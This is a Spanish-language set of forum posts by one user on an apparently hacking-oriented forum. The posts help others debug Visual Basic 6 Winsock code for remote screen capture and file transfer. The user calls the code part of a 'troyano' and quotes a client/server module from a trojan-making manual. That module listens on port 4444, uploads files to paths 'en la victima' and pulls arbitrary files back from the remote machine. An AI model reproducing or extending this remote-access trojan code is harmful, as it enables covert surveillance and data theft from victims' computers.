Mensajes

Hola de nuevo:

E estado provando el codigo q me as pasado WarGhost y funciona perfecto, pero lo raro es q solo funciona la primera vez q ejecutas el programa 
Despues de provar y provar poniendo MsgBox y andar a vueltas con el debugger  e haberiguado donde esta el fallo (aunke bo comprendo por q falla  )
Mira aki esta el problema:

Código [Seleccionar] Expandir

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim data As String
ws.GetData data

If Envio = True Then
DataFile = DataFile & data
If Len(DataFile) = LenFile Then
Open "C:\foto1.jpg" For Binary As #1
Put #1, , DataFile
Close #1
MsgBox "El Fichero se a Enviado Correctamente"
Envio = False
End If
End If

If Left(data, 4) = "Tam:" Then
LenFile = Mid(data, 5)
Envio = True
ws.SendData "SendFile"
End If
End Sub

La primera vez q recibimos un fichero (en este caso una foto) nos manda el archivo y el tamaño perfectamente, pero cuando quiero recibir de nuevo esa misma foto pone la variable en true y todo perfectamente, pero antes de eso me a mandado un tamaño de archivo superior al q es realmente, y aunke ya alla recibido tooda la foto, la variable no se pone en false, ya q la linea:

Código [Seleccionar] Expandir

If Len(DataFile) = LenFile Then

no es cierta, y los datos q llegan los sigue acumulando para despues meterlos en la imagen...

Lo mas raro es q si lo haces la primera vez funciona perfectamente, pero con la segunda envia un tamño mayor... q raro no???

Creo q el problema se debe a eso  si me podeis ayudar os lo agradeceria muxo

1S4ludo 

Hola:

Muxas gracias por la ayuda WarGhost, ahora mismo lo modifiko (asi q me extrañava a mi q los block de notas si los enviara... xDD)

1S4ludo

Pues nada q no hay manera....

Mira te pego el codigo tal cual a ver si me ekivoco en algo y me puedes ayudar...

CLIENTE:

Código [Seleccionar] Expandir

Private Sub ws_DataArrival(Index As Integer, ByVal bytesTotal As Long)

Dim data As String 'Declaracion
Dim vData As Variant 'Declaracion
Dim pr 'Declaracion

ws(Index).GetData data
vData = Split(data, "|")

If Left(data, 3) = "esc" Then ' Aki esta el if para la captura de pantala, el resto estan en el Text

Open "C:\captura.jpg" For Binary As #1
Put #1, , Mid(data, 4)
Close #1

Exit Sub
End If

Select Case vData(0)
Case "Conexion" 'Cose de conexion
Set pr = ListConexion.ListItems.Add(, Index & "|", vData(1)) 'Agreamos una nueva conexion a listview
pr.SubItems(1) = vData(2) & "/" & ws(Index).RemoteHostIP
pr.SubItems(2) = vData(3) & "/" & vData(4)
pr.SubItems(3) = vData(5)
pr.SubItems(4) = vData(6)
End Select

txtRecibido.Text = data

End Sub


SERVER:

Código [Seleccionar] Expandir

Private Sub txtRecibido_Change()

If txtRecibido.Text = "esc" Then ' Toma la imagen del esc remoto

foto.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
foto.Quality = 50   
foto.SampleScreen
foto.SaveFile ("c:\" & "\capture" & ".jpg")

Dim ñ As String

Open "C:\capture.jpg" For Binary As #1
ñ = Space(LOF(1))
Get #1, , ñ
Close #1

ws.SendData "esc" & ñ

End If

Como veras estoy usando tu codigo de la conexion inversa en el cliente y en el server el modulo cJpeg. Pero no tengo ni idea de por q no funciona 

Muxas gracias
1S4ludo

Hola:

Vereis os cuento mi problema:
Estoy intentando enviar archivos por internet, para ello, elijo un archivo y hago esto:

Código [Seleccionar] Expandir

Dim h as string

Open "C:\imagen.jpg" for binary as #1
h = space(LOF(1))
get #1,,h
close #1


Y ahora lo mando con el winsock asi:

Código [Seleccionar] Expandir

ws.sendata "img" & h

Hasta ahí creo q lo hago todo bien (eso creo) pero el problema esta al recibir el archivo. Uso esto:

Código [Seleccionar] Expandir

Dim A as string
ws.getdata A
txtRecibido.text = A


Código [Seleccionar] Expandir

Private Sub txtRecibido_Change()

If left(txtRecibido.text, 3) = "img" then

Open "C:\captura.jpg" For Binary As #1
Put #1, , Mid(txtRecibido.Text, 4)
Close #1

End If


Pero cuando miro el archivo q e recibido, resulta q esta incompleto  . Eh provado a poner las funciones en timers, por si acaso no le daba tiempo a recoger bien los datos y nada.... Y lo curioso es q lo hago con un archivo txt por ejemplo y si q me funciona 

Alguien sabe por qué pasa esto?????????

Muxas gracias
1S4ludo

Hola:

Ese error se puede debere a q intentas conectarte dos veces por el mismo puerto o algo de eso. Rebiasa el resto de el code, a ver si junto con la funcion de recibir los datos as mezclado la de conectarse o algo asi...

De todas maneras podias poner un "on error resume next" para q en caso de error salete la linea q lo produce a ver si asi te funciona...

1Sludo

Hola:

Tambien puedes hacerlo asi:

Código [Seleccionar] Expandir

Label1.Caption = Right(List1.List(List1.ListIndex), 3)

Te saldrá la extension del archivo seleccionado

1S4ludo

Hola:

A ver si es solo para escritorio remoto prueva asi:

SERVER:

Código [Seleccionar] Expandir

' Imaginemos q la captura la guardas en c:\captura.jpg

Dim h as atring

Open "C:\captura.jpg" for binary as #1
h = space(lof(1))
get #1,,h
close #1

ws.senddata h


CLIENTE:

Código [Seleccionar] Expandir

'Recibimos los datos en una variable (r por ejemplo)
Open "C:\capturas\escritorioremoto.jpg" for binary as #1
put #1,,r 'r es lo q hemos recibido
close #1

'Ahora solo tienes q cargar "C:\capturas\escritorioremoto.jpg" en un picture box


Este es el funcionamiento (basicamente) ahora solo tienes q acoplarlo a tu troyano

PD --> Espero q no haya muxos errores de sintaxis, por q lo acabo de improvisar xDD, si tienes dudas pos preguntas 

1S4ludo

Mira aki te dejo la parte del codigo correspondiente a la transferencia de archivos del manual de -Xenon-

---------------------------CLIENTE-----------------------------------





Dim filesize As Long, filedata As String, datos2 As String, progreso As Boolean, bytes As Long, send As Boolean

Dim ext As String, path As String, nombre As String



Private Sub Command1_Click()

ws.RemotePort = "4444"

ws.RemoteHost = "127.0.0.1"

ws.Close

ws.Connect

End Sub



Private Sub Command2_Click()

cd.Filter = "Todos los archivos |*.*"

cd.ShowOpen

Open cd.FileName For Binary As #1

filedata = Input(LOF(1), 1)

Close #1

nombre = cd.FileTitle

path = InputBox("elige la ruta donde se" & vbCrLf & "guardara el archivo en la victima:" & vbCrLf & "Añade '\' al final!", "Ruta donde se guardara", path)

path = path & nombre

filesize = Len(filedata)

ws.SendData "archivo" & "|" & filesize & "|" & path

End Sub



Private Sub Command3_Click()

Dim ruta As String

ruta = InputBox("Introduce la ruta completa del archivo remoto:", "Descargar Archivo", ruta)

ws.SendData "coger" & ruta

ext = Right(ruta, Len(ruta) - 4)

End Sub



Private Sub Form_Load()

send = False

progreso = False

End Sub



Private Sub Timer1_Timer()

If ws.State = 7 Then Label1.Caption = "Conectado" Else Label1.Caption = "Desconectado"

End Sub



Private Sub ws_DataArrival(ByVal bytesTotal As Long)

On Error Resume Next

Dim datos As String

ws.GetData datos

If datos = "enviar" Then

progreso = True

ws.SendData filedata

End If

If datos = "recibido" Then

'ws.SendData "cierra"

End If

If Left(datos, 7) = "archivo" Then

send = True

    filesize = Mid(datos, 8)

    ws.SendData "enviar"

    datos2 = ""

Else

    If Len(datos2) <> filesize And send = True Then

        datos2 = datos2 + datos

        pb.Min = 0

        pb.Max = filesize

        pb.Value = Len(datos2)

        pb.Refresh

    End If

        If Len(datos2) = filesize And send = True Then

        ws.SendData "recibido"

        pb.Value = 0

        cd.Filter = "Archivos " & ext & "| *" & ext

        cd.FileName = ""

        cd.ShowSave

        Open cd.FileName For Binary As #1

        Put #1, 1, datos2

        Close #1

        End If

End If

End Sub



Private Sub WS_SendProgress(ByVal bytesSent As Long, ByVal bytesRemaining As Long)

If progreso = True Then

pb.Min = 0

pb.Max = filesize

bytes = bytes + bytesSent

pb.Value = bytes

pb.Refresh

If filesize = bytes Then

pb.Value = 0

MsgBox "Archivo enviado con éxito"

bytes = 0

progreso = False

End If

End If

End Sub





       ---------------------SERVIDOR----------------------------





Dim filesize As Long, datos2 As String, filedata As String, send As Boolean, path As String



Private Sub Form_Load()

send = False

ws.LocalPort = "4444"

ws.Close

ws.Listen

End Sub



Private Sub Timer1_Timer()

If ws.State = 7 Then Label1.Caption = "Conectado" Else Label1.Caption = "Desconectado"

End Sub



Private Sub ws_ConnectionRequest(ByVal requestID As Long)

ws.Close

ws.Accept requestID

End Sub



Private Sub ws_DataArrival(ByVal bytesTotal As Long)

On Error Resume Next

Dim datos As String, dato As Variant

ws.GetData datos

If datos = "enviar" Then

ws.SendData filedata

End If

If datos = "recibido" Then

'ws.SendData "cierra"

End If

If Left(datos, 7) = "archivo" Then

send = True

    dato = Split(datos, "|")

    filesize = dato(1)

    path = dato(2)

    ws.SendData "enviar"

    datos2 = ""

Else

    If Len(datos2) <> filesize And send = True Then

        datos2 = datos2 + datos

    End If

        If Len(datos2) = filesize And send = True Then

        ws.SendData "recibido"

        Open path For Binary As #1

        Put #1, 1, datos2

        Close #1

        End If

End If

If Left(datos, 5) = "coger" Then

datos = Mid(datos, 6)

Open datos For Binary As #1

filedata = Input(LOF(1), 1)

Close #1

filesize = Len(filedata)

ws.SendData "archivo" & filesize

End If

End Sub





empezamos! necesitamos añadir los componentes microsoft  commond dialog control, microsoft windows commond controls y   

el componente winsock control, para cliente y servidor; para el cliente ademas: 3 botones, una barra de progreso, el winsock el common dialog , un timer y un label; en el servidor: un label, un timer y el winsock.

Para mas informacion:

http://foro.elhacker.net/index.php/topic,57545.0.html

1S4ludo

Hola:

mira en el sub-foro de troyanos y virus el manual de Xenon para crear troyanos en VB, ahí viene muy bien explicado

1S4ludo

Hola:

Parece muy interesante el control, pero podrias subirlo a rapidshare por favor??? Es q bo hay kien se lo baje de ahi, ademas tienes q logearte y luego te bombardean a publicidad....

Muxas gracias y felicidades por la aplicacion
1S4ludo